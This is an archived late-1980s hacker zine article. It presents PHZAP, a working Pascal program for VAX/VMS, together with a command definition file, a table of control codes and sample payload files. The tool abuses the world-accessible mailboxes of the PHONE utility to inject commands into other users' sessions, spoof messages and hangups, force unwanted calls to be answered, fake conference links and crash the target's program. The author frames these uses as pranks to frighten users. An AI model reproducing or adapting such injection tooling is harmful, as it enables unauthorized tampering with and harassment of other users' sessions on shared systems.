home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / n_z / phun5.006 < prev    next >
Encoding:
Text File  |  2003-06-11  |  14.7 KB  |  357 lines

  1.  
  2.                  Baliord's Stupid VMS Tricks Vol 1: PHONE
  3.                  ----------------------------------------  
  4.                                By Baliord
  5.  
  6.                   Phile #6 of P/HUN Magazine Issue #5
  7.  
  8.  
  9.     This program is the culmination of about a month's research, debugging,
  10. and coding.  Any bugs in it are my fault, but I am not liable for them since
  11. I am not running it (or compiling it) on your system.  You accept all
  12. responsibility for the execution of this program by compiling it.  This
  13. program is meant to show what CAN be done with the VAX/VMS PHONE program,
  14. and is a working program solely for the purpose of showing that it CAN be
  15. done.
  16.     Sometime in 1986 or 1987, a friend of mine quit a job working with a
  17. record company.  In the process of leaving, he managed to pick up a copy
  18. of the VAX/VMS 4.0 source code on microfiche.  Since then, he has gotten
  19. 2 more editions.  He unfortunately doesn't understand the code, but just
  20. likes to have it around as proof of his "abilities."  Once he acquired a
  21. second copy of the code, I requested his earlier edition.  He gave it to
  22. me freely.
  23.     In the middle of 1988, a "user" at my local college approached me and
  24. said that his PHONE conversations were being tapped.  I laughed, and told
  25. them that it was impossible.  They persisted, and thus I foraged into the
  26. realm of VMS PHONE discovery.   Upon reading the source code for PHONE, I
  27. discovered that it was the funniest, and most interestingly written  (and
  28. commented) program in the deck.  I discovered that, 1) PHONE was designed
  29. with a RECORD feature that would allow users to record conversations (and
  30. inform the other  party that a recording was occurring),  and that 2) the
  31. mailboxes created by the phone  program were completely world accessible,
  32. as well as being  easily discovered;  and that 3) for some reason DEC had
  33. commented out ONE LINE from PHONE,  making it unable to RECORD, but still
  34. including the code to do so in the program.
  35.      The other thing that was in the PHONE source was a list of the control
  36. codes that would force the program to do various things.  Surprisingly, the
  37. commands typed at the keyboard were treated the same as characters recieved
  38. through the mailboxes.   Needless to say, I immediately started considering
  39. ways to access them.   After a bit of debugging,  hacking, and causing some
  40. horrible errors to appear on other people's terminals, the program here was
  41. written.
  42.      The first program is the actual PASCAL source code for the message
  43. sender; the next program is the  .CLD file you should create to use the
  44. program;  the next thing is a list of the format and the method used in
  45. creating your own file to send.  The last file is a few sample files to
  46. be created to demonstrate the things that can be done.
  47.      An interesting point is that the CALLING user creates the mailbox
  48. FOR the called user.  This means that an answering machine program can
  49. be written that will recieve messages, and hang up without needing the
  50. user to watch over it.  Of course the user must be logged in, but they
  51. need not recieve phone calls to get their messages!   I have written a
  52. program to do this, and it may be published in the future.
  53.      Oh yes, the method for finding out what users are currently using
  54. the phone system is to:
  55.                        SHOW LOG PHN$*/SYS
  56. This works because PHONE creates systemwide logical names formatted as
  57. PHN$<username>.
  58.      The following is the method for using the PHZAP program...  Lines that
  59. begin with ';' are comments...
  60.  
  61. $ SET COMMAND PHZAP
  62. ;  This enables the command...
  63. $ SHOW LOG PHN$*
  64.    "PHN$GOD" = "_MBAxxx"
  65.    "PHN$DEVIL" = "_MBAxxx"
  66. ;  As I just said, that lists out who's using the system...
  67.  
  68. $ ZAP GOD/TYPE=MSG/MESSAGE="Personally?  I think you goofed off for six days"
  69. $ ZAP GOD/TYPE=MSG/MESSAGE=" then pulled an all-nighter!~"
  70. ;  Drops up the message on His screen.
  71.  
  72. $ ZAP DEVIL/TYPE=MSG/MESSAGE="\And I said, Let There Be Light!  And YOU got"
  73. $ ZAP DEVIL/TYPE=MSG/MESSAGE="hung up!"
  74. $ ZAP DEVIL/TYPE=CMD/MESSAGE="HANGUP"
  75. ;  Places the message on It's screen, then forces It to HANGUP.
  76.  
  77. $ ZAP GOD/TYPE=CMD/MESSAGE="HELP SWITCH_HOOK"
  78. ;  This command teaches Him a bit about Switch Hooks, by forcing Him into
  79. ;  help...
  80.  
  81. --------------------------------------------------------------------------
  82.      If you get the feeling that I'm a bit anti-religious, and that those
  83. capital letters are smotheringly sarcastic...  You're smarter than you
  84. look!
  85. ---------------------------------------------------------------------------
  86. PHZAP.PAS follows:
  87.  
  88. [ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
  89. {*************************************************************************}
  90. {*    If you are going to use this program, please leave this message    *}
  91. {*    in the file.  When referring to this program, give credit where    *}
  92. {*    credit is due.                                                     *}
  93. {*                                                --  Baliord            *}
  94. {*************************************************************************}
  95.  
  96. program Phone_Phool(output,phzap);
  97.  
  98. const
  99.   max = 132;
  100.  
  101.   type
  102.     string_type = VARYING[ MAX ] OF CHAR;
  103.     word_type = [ word ]0..65535;
  104.  
  105.   var
  106.     MAILBOX_NAME : STRING_TYPE;
  107.     mailbox_channel : word_type;
  108.     MsgStr,Send_File, command, mailbox_device_name : string_type;
  109.     length : integer;
  110.     phZAP: text;
  111.  
  112. [external,asynchronous] procedure cli$get_value  (
  113.           entity: packed array [$L7..$U7:integer] of char := %immed 0;
  114.           var retdesc : Varying [$R0] of char) ; external;
  115.  
  116. [ asynchronous ]
  117. function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
  118.                          %ref name_length : integer := %immed 0;
  119.                          %descr equivalence : varying[ l2 ] of char;
  120.                          %ref table : integer := %immed 0 ) : integer;
  121. external;
  122.  
  123. [external,asynchronous] function cli$present(
  124.          entity: packed array [$L7..$U7:integer] of char := %immed 0):Integer;
  125. external;
  126.  
  127. {
  128.   The following procedure checks to find out who you want hit with a message,
  129.   and opens their phone mailbox and sends the command to it.
  130. }
  131.  
  132. Procedure Send(Command:String_Type);
  133.  Begin
  134.     Cli$get_value('USER',Mailbox_Name);
  135.     Mailbox_Name:='PHN$'+Mailbox_Name;
  136.     if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then
  137.       writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
  138.     else
  139.       begin
  140.         mailbox_device_name.length := length;
  141.         $assign( mailbox_device_name, mailbox_channel );   { Assign channel }
  142.         $qio( , mailbox_channel, io$_writevblk + io$m_noformat + io$m_now,
  143.           ,,, command.body, command.length, );         { Send command. }
  144.       end;
  145.   End;
  146.  
  147. {
  148.    This procedure adds the "smb_cmd" (symbiont Command) function to the
  149.    beginning of a message.  This forces the message you send to be interpreted
  150.    by PHONE as a command typed by the user.
  151. }
  152.  
  153. Procedure Snd_Cmd(Y:String_Type);
  154.   Var X:Integer;
  155.   Begin
  156.     Y:=Y+chr(13);
  157.     Y:=chr(3)+Y+chr(0);
  158.     Send(Y);
  159.   End;
  160.  
  161. {
  162.    Here we convert the string from the plaintext given by the ZAPper to the
  163.    string that will be sent to the poor desperate user.  It converts the
  164.    '~' character into a carraige return, the '\' into a ^L (which clears the
  165.    screen) and the "|" into a ^W which repaints the screen.
  166. }
  167.  
  168. Procedure Snd_Msg(Y:String_Type);
  169.   Var X:Integer;
  170.   Begin
  171.     X:=1;
  172.     While X<>0 do
  173.     Begin
  174.       X:=Index(Y,'~');
  175.       If X<>0 then Y[X]:=chr(13);
  176.     End;
  177.     X:=Index(Y,'\');
  178.     If X<>0 then Y[X]:=chr(12);
  179.     X:=Index(Y,'|');
  180.     If X<>0 then Y[X]:=chr(23);
  181.     Y:=chr(2)+Y+chr(0);
  182.     Send(Y);
  183.   End;
  184.  
  185. Begin  (** MAIN PROGRAM **)
  186.  
  187.     if cli$present('MESSAGE')<>229872 then cli$get_value('MESSAGE',msgstr);
  188.      { If the person is sending a message then it will be in the MSG area. }
  189.  
  190.     if cli$present('TYPE')<>229872 then cli$get_value('TYPE',Send_File) else
  191.        Send_File:='ACCVIO.PHN';
  192.      { If the /TYPE= is not specified then it tries to force the user's PHONE
  193.        program to crash with an ACCESS VIOLATION...  (a nice, frightening
  194.        trick to play on a poor user.  It is normally possible to send a file
  195.        through this command, BUT you must know the format...
  196.      }
  197.  
  198.     IF SEND_FILE='CMD' then SND_CMD(MSGSTR) ELSE
  199.       If Send_File='MSG' then SND_MSG(MsgStr) Else
  200.          BEGIN
  201.            if Index(Send_File,'.')=0 then Send_File:=Send_File+'.PHN';
  202.            Cli$get_value('USER',Mailbox_Name);
  203.            Mailbox_Name:='PHN$'+Mailbox_Name;
  204.            if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>
  205. ss$_normal then
  206.               writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
  207.            else
  208.            begin
  209.              OPEN(FILE_VARIABLE:=PHZAP
  210.                  ,FILE_NAME:=SEND_FILE
  211.                  ,HISTORY:=OLD
  212.                  ,DEFAULT:='[]'); {  Replace this with the default dir }      
  213.                                      {  you will be most often using...}
  214.  
  215.              mailbox_device_name.length := length;
  216.  
  217.              $assign( mailbox_device_name, mailbox_channel );   
  218. { Assign channel }
  219.  
  220.              reset(phZAP);
  221.                 repeat
  222.                    readln(phZAP,command);
  223.  
  224.                    $qio( , mailbox_channel, io$_writevblk + io$m_noformat 
  225. + io$m_now,
  226.                         ,,, command.body, command.length, );         { 
  227. Send command. }
  228.  
  229.                 until eof(phZAP)
  230.            end;
  231.          END;
  232. end.
  233.  
  234. ------------------------------------------------------------------------------
  235. PHZAP.CLD follows:
  236.  
  237. MODULE PHZAP_COMMAND
  238. Define Verb Zap
  239.        Image      "[{directory}]PHZAP.EXE"
  240. ;                     ^^  Convert this to the directory the program will be in
  241. ;                         and then delete these three lines.
  242. ;
  243.        Qualifier  Type,Value
  244.        Parameter  P1,Label=User,Value(Required),Prompt="Username"
  245.        Qualifier  Message,Value
  246.  
  247. -----------------------------------------------------------------------------
  248.     The format for a simple file is <cmd-char>NODE::USERNAME<CHR(0)><msg-char>
  249.  
  250.     You can force a message to a person's screen by one of two methods,
  251. the first is using the above format and writing your message in the <msg-char>
  252. section of the packet using <listen>.  This requires writing it character by
  253. character.  The other option is to send the KBD_ROUTE command along with the
  254. message in normal text (with a <CHR(0)> at the end of course.)
  255.     The CMD_PARSE command allows you to force a command on the user, through
  256. their PHONE program.  It only works for commands within PHONE, however, so
  257. you cannot make them log out or such, only kick them out of phone.
  258.     The ANSWERED flag is useful in writing an answering machine, in that you
  259. send <answered>NODE::<answering user><CHR(0)> and the calling PHONE program
  260. will pop up the second screen as if the person had answered.  BUSY is also
  261. a nice one to be able to send (as well as rejected!)
  262.     If you send a <hangup>NODE::<hanging user><CHR(0)> ONLY THE USER YOU HIT
  263. with PHZAP will see that user as hung-up!  The other user (who supposedly
  264. hung up) will still see the other user listed on their screen!  (Nothing
  265. typed will reach them of course, but it is an interesting mindfuck!)
  266.     The <facsimile><msg-text><CHR(0)> is (if I remember correctly) the proper
  267. method for FAXing something over the VAX PHONE.
  268.     The <held>NODE::<holding user><CHR(0)> command puts the user you hit on
  269. HOLD in that user's eyes, but not to the "holding user."
  270.     Sending a <forced-link>NODE::<user #1><CHR(0)>NODE::<user #2><CHR(0)> will
  271. pretend to create a link between the user you are ZAPping and user #2.  Both
  272. users **MUST** be logged in, but not necessarily in PHONE!  Thus you can force
  273. a link between a user and <login> just to freak them out!  An example of this
  274. is given below.
  275.     The codes I haven't discussed are either too weird/complex to handle
  276. easily, or I just don't know how to use them.  (or have never bothered.)
  277.  
  278. kbd_get      = chr (1);
  279. kbd_route    = chr (2);
  280. cmd_parse    = chr (3);
  281. talk         = chr (4);
  282. help2        = chr (5);
  283. ring_out     = chr (6);
  284. slave_verify = chr (7);
  285. rang_in      = chr (8);
  286. hangup       = chr (9);
  287. busy         = chr (10);
  288. answered     = chr (11);
  289. rejected     = chr (12);
  290. slave_done   = chr (13);
  291. listen       = chr (14);
  292. directory2   = chr (15);
  293. facsimile2   = chr (16);
  294. forced_link  = chr (17);
  295. held         = chr (18);
  296. unheld       = chr (19);
  297.  
  298. ----------------------------------------------------------------------------
  299. Some sample .PHN files follow...  <nn> is used to refer to <CHR(nn)>...
  300.  
  301. FOFF.PHN
  302. <04>Lemme ALONE dammit!!<00>
  303.  
  304.     This drops a message in the users OWN message area as if he had typed it
  305. to send to somebody.  They don't even have to be connected to somebody for
  306. you to do this.  It's most useful when someone is calling you and you want
  307. to tell them to call back later.
  308.  
  309. FYOU.PHN
  310. <14>HEAVEN::GOD<00>F
  311. <14>HEAVEN::GOD<00>u
  312. <14>HEAVEN::GOD<00>c
  313. <14>HEAVEN::GOD<00>k
  314. <14>HEAVEN::GOD<00>
  315. <14>HEAVEN::GOD<00>Y
  316. <14>HEAVEN::GOD<00>o
  317. <14>HEAVEN::GOD<00>u
  318. <14>HEAVEN::GOD<00>!
  319.  
  320.     This sends a message to a user in the standard way, as if someone had
  321. typed it.  This is also the method that is in the mailboxes used by PHONE,
  322. so if you want to write an answering machine, you have to parse that pattern.
  323.  
  324. ACCVIO.PHN
  325. <15>HEAVEN::GOD<00>
  326.  
  327.     That causes Acess Violation errors to flow down the users screen.  Don't
  328. ask me why; I don't know.  Does it under V4.6 of VMS, others I'm not sure.
  329.  
  330. LINKUP.PHN
  331. <16>HEAVEN::DEVIL<00>HEAVEN::GOD<00>
  332.  
  333.     After send that to a user's mailbox, their screen should flash with the
  334. "DEVIL has created a conference call with GOD" message.  Both users MUST exist
  335. and be logged on currently.  If you want to add yourself into a conversation
  336. go into phone, have someone "link" you with their conversation and then have
  337. someone link them with you...  It must be done to both.  Of course you could
  338. always use this...
  339.  
  340. ANSWER.PHN
  341. <03>ANSWER<0>
  342.  
  343.     That will force an ANSWER command from the keyboard into the COMMAND
  344. buffer.  If you have a friend do that to them, as you are phoning them, then
  345. they will be connected without the chance of them rejecting!  <Then you have
  346. your friend start linking all the phone conversations on the system by one
  347. person each!>
  348.  
  349.      I think that's enough examples for you to be able to figure out the
  350. format for the rest yourself.
  351.  
  352.      If you have questions about this, or any other program you have seen
  353. my name on, or you have VAX specific questions, I am available on The Toll
  354. Center BBS @ (718) 358-9209 and the Rogue's Gallery BBS @ (516) 361-9846.
  355.  
  356. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  357.